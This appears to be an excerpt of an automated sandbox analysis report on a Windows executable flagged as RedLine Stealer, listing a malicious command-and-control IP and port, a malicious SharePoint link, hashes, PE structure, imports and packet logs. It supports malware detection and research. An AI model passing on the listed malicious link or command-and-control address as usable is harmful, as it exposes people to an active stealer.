http://tempuri.org/Entity/Id23Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id4pe	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.86.120.146	unknown	United States		17139	NETRANGEUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756296
Start date and time:	2022-11-30 00:10:11 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/1@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 7.2% (good quality ratio 4.1%) Quality average: 29.7% Quality standard deviation: 28.1%
HCA Information:	Successful, ratio: 99% Number of executed functions: 18 Number of non-executed functions: 97
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:11:51	API Interceptor	28x Sleep call for process: vbc.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NETRANGEUS	Setup_1.exe	Get hash	malicious	Browse	172.86.122.46
	HOdLDTSfzm.exe	Get hash	malicious	Browse	172.86.120.88
	T40k6u2Os1.exe	Get hash	malicious	Browse	172.86.120.138
	BVZJ9PJWQ3.exe	Get hash	malicious	Browse	172.86.120.138
	IR7UKb4jFr.exe	Get hash	malicious	Browse	172.86.120.138
	file.exe	Get hash	malicious	Browse	172.86.120.138
	7sxgspvfia.exe	Get hash	malicious	Browse	172.86.120.42
	AppSetup.exe	Get hash	malicious	Browse	172.86.120.42
	gjim4IBHdv.exe	Get hash	malicious	Browse	172.86.120.42
	file.exe	Get hash	malicious	Browse	172.86.120.138
	0411r_cr3.dll.dll	Get hash	malicious	Browse	172.86.121.123
	0411r_cr1.dll.dll	Get hash	malicious	Browse	172.86.121.123
	0411r_cr2.dll.dll	Get hash	malicious	Browse	172.86.121.123
	0411r_cr4.dll.dll	Get hash	malicious	Browse	172.86.121.123
	0411r_cr5.dll.dll	Get hash	malicious	Browse	172.86.121.123
	JqSHePP0L7.exe	Get hash	malicious	Browse	172.86.120.138
	file.exe	Get hash	malicious	Browse	172.86.120.138
	https://4hotellodge-my.sharepoint.com/:w:/g/personal/elissa_berg_simonscre_com/EbjdYQknuiROqT8V6JG60ncBZLFfjw3bjlJ55usOezX2aQ?e=EnKrIK	Get hash	malicious	Browse	172.86.122.148
	file.exe	Get hash	malicious	Browse	172.86.120.156
	file.exe	Get hash	malicious	Browse	172.86.120.156

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHKAHKx1V:iqXeqm00YqhQnouOqLqdqNq2qzcGtIxo
MD5:	AA480F97CE07B9F7A0B038BD06505712
SHA1:	0D7E42D0733A18A4C48B83EBBC68575925B0CD69
SHA-256:	433F8C545F788D4F901AAD7B70F63700BD6861A1ABE32FAE7C8FD08AE29004BD
SHA-512:	9A3AAEF350767D68BD455F50272BB942A860D3712C831C99896B9814C1733198321B3422D7E411974C56D71DA064716E354BAC0963DFB1D9A786612897A2A4CF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	6.273721496886178
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2564217
MD5:	b285997d1fb1ed7ff9129e4e9566c2e5
SHA1:	64fe09e86b2e6dc67bb85faf9d7a746976edb4a0
SHA256:	8edce063ac9af61dd0b493b9dec7e959b93021ad55a07cfe6e2b5519b46581f2
SHA512:	d232f632f725ca0351f9c370000f2c3c2f70f2a221e29f33a5e167a9b42d1529ca84f51854a8d9944a4534464f6ec5327b9b01bb46ca5370680f52216d49bef6
SSDEEP:	24576:ZRjcXgYLSaH8MlV0/AGQsHE9iWJnVo2FDq6mZC/36KBsQ96letoreojRqkdvgdBx:Hjh3E7nVoYDv/3DBsQ+dkBx
TLSH:	87C51B036A8B0D75DDD27BB461CB633AA738ED30CA2A9F7FB608C53559532C46C1A742
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...87.c....@Z.........'.....t....................@..........................`.......s'...@... ............................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x401490
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x63863738 [Tue Nov 29 16:45:44 2022 UTC]
TLS Callbacks:	0x415370, 0x415320
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	26093aeed04a948c138ea9102034d47f

Entrypoint Preview

Instruction
mov dword ptr [00533060h], 00000000h
jmp 00007F93A0BC42C6h
nop
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007F93A0BE7446h
test eax, eax
sete al
add esp, 1Ch
movzx eax, al
neg eax
ret
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 1Ch
mov dword ptr [esp], 004E6000h
call dword ptr [00534208h]
sub esp, 04h
test eax, eax
je 00007F93A0BC4685h
mov ebx, eax
mov dword ptr [esp], 004E6000h
call dword ptr [00534224h]
mov edi, dword ptr [00534210h]
sub esp, 04h
mov dword ptr [00533020h], eax
mov dword ptr [esp+04h], 004E6013h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov esi, eax
mov dword ptr [esp+04h], 004E6029h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov dword ptr [004C1004h], eax
test esi, esi
je 00007F93A0BC4623h
mov dword ptr [esp+04h], 00533024h
mov dword ptr [esp], 004F4104h
call esi
mov dword ptr [esp], 00401560h
call 00007F93A0BC4573h
lea esp, dword ptr [ebp-0Ch]
pop ebx
pop esi
pop edi
pop ebp
ret
lea esi, dword ptr [esi+00000000h]
mov eax, 0041AE40h
mov esi, 0000A660h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x134000	0xa98	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x137000	0x6320	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xed1f4	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1341e4	0x1a8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xbfd38	0xbfe00	False	0.37507888843648207	data	6.311305933324127	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xc1000	0x247d0	0x24800	False	0.6999678938356164	dBase III DBT, version number 0, next free block index 10, 1st item "D\213k\034B\\200\320\321\227\233<\035\214\\264\363\270\346\0341\215\342+\356\035_\362\2407\313\231"*"	7.147373481327555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xe6000	0xd7e0	0xd800	False	0.3976236979166667	data	5.768246776593719	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
/4	0xf4000	0x3e014	0x3e200	False	0.20320359657947687	data	4.932991729749517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x133000	0xbe0	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x134000	0xa98	0xc00	False	0.3707682291666667	data	4.802653247939785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x135000	0x30	0x200	False	0.060546875	data	0.2233456448570176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x136000	0x8	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x137000	0x6320	0x6400	False	0.6265625	data	6.629503326426674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/14	0x13e000	0x110	0x200	False	0.259765625	Matlab v4 mat-file (little endian) *, rows 2, columns 262144	1.4688848769576526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/29	0x13f000	0x114cc	0x11600	False	0.43585600269784175	Matlab v4 mat-file (little endian) \232aA, rows 2, columns 17039360	5.953087124455304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/41	0x151000	0x1b2d	0x1c00	False	0.2998046875	data	4.934458145598331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/55	0x153000	0x6bdd	0x6c00	False	0.4019097222222222	data	5.235076571151023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/67	0x15a000	0x38	0x200	False	0.1171875	data	0.6721446845015864	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/80	0x15b000	0x1ea	0x200	False	0.609375	data	4.817520394014974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/91	0x15c000	0x7f05	0x8000	False	0.437591552734375	data	5.358754830827274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/107	0x164000	0x1028	0x1200	False	0.5264756944444444	data	5.155904228339899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CreateSemaphoreW, DeleteCriticalSection, EnterCriticalSection, FormatMessageA, FreeConsole, FreeLibrary, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetStartupInfoA, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, LocalFree, MultiByteToWideChar, ReleaseSemaphore, SetLastError, SetUnhandledExceptionFilter, Sleep, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, VirtualProtect, VirtualQuery, WaitForSingleObject, WideCharToMultiByte

msvcrt.dll

__getmainargs, __initenv, __mb_cur_max, __p__acmdln, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _close, _errno, _fdopen, _filelengthi64, _fileno, _fileno, _fstat64, _initterm, _iob, _lseeki64, _onexit, _read, _wfopen, _write, abort, atoi, calloc, exit, fclose, fflush, fgetpos, fopen, fprintf, fputc, fputs, fread, free, fsetpos, fwrite, getc, getwc, iswctype, localeconv, malloc, memchr, memcmp, memcpy, memmove, memset, putc, putwc, realloc, setlocale, setvbuf, signal, strchr, strcmp, strcoll, strerror, strftime, strlen, strncmp, strxfrm, towlower, towupper, ungetc, ungetwc, vfprintf, wcscoll, wcsftime, wcslen, wcsxfrm

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3172.86.120.1464968428192850286 11/30/22-00:11:55.241038	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49684	2819	192.168.2.3	172.86.120.146
192.168.2.3172.86.120.1464968428192850027 11/30/22-00:11:30.935107	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49684	2819	192.168.2.3	172.86.120.146
172.86.120.146192.168.2.32819496842850353 11/30/22-00:11:32.905229	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	2819	49684	172.86.120.146	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 00:11:30.393584013 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:30.536389112 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:30.536550045 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:30.935106993 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:31.077410936 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:31.164304972 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:32.762913942 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:32.905229092 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:32.960944891 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:40.604437113 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:40.792125940 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:40.927454948 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:40.927488089 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:40.927510977 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:40.927557945 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:40.976969957 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:42.876482964 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:43.196058989 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:43.337716103 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:43.386504889 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:43.453166008 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:43.594470024 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:43.631895065 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:43.773346901 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:43.821464062 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:43.876497030 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:44.017739058 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:44.034832001 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:44.175971985 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:44.187093019 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:44.329595089 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:44.350819111 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:44.510768890 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:44.555418968 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:45.115401030 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:45.258395910 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:45.310391903 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.084223986 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.225177050 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.225202084 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.225231886 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.225245953 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.225251913 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.225322008 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.225322008 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.276420116 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.276525974 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.366136074 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.366178036 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.366205931 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.366224051 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.366239071 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.366262913 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.366262913 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.366271973 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.366375923 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.366485119 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.366520882 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.417468071 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.417593002 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.507074118 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507108927 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507154942 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507204056 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.507246971 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507250071 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.507329941 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.507458925 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507477045 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507505894 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507524014 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507539034 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507556915 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.507584095 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507601023 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507695913 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507716894 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507865906 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507873058 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.507931948 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507949114 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.507953882 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.507992029 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.508111954 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.508132935 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.508236885 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.558928967 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.558964968 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655164003 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655400038 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655414104 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655426025 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655445099 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655457020 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655524969 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655536890 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655729055 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655822039 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655922890 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.655935049 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.656333923 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.656398058 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.656522036 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.656898975 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.656972885 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.656990051 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657007933 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657063007 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657083988 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657119036 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657135010 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657146931 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657378912 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657392025 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657732010 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.657984972 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658013105 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658025026 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658051968 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658063889 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658102036 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658109903 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658137083 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658240080 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658452988 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658736944 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658749104 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.658760071 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.659172058 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.659262896 CET	49684	2819	192.168.2.3	172.86.120.146
Nov 30, 2022 00:11:49.659723043 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800056934 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800101995 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800122023 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800142050 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800170898 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800189972 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800218105 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800235987 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800252914 CET	2819	49684	172.86.120.146	192.168.2.3
Nov 30, 2022 00:11:49.800270081 CET	2819	49684	172.86.120.146	192.168.2.3
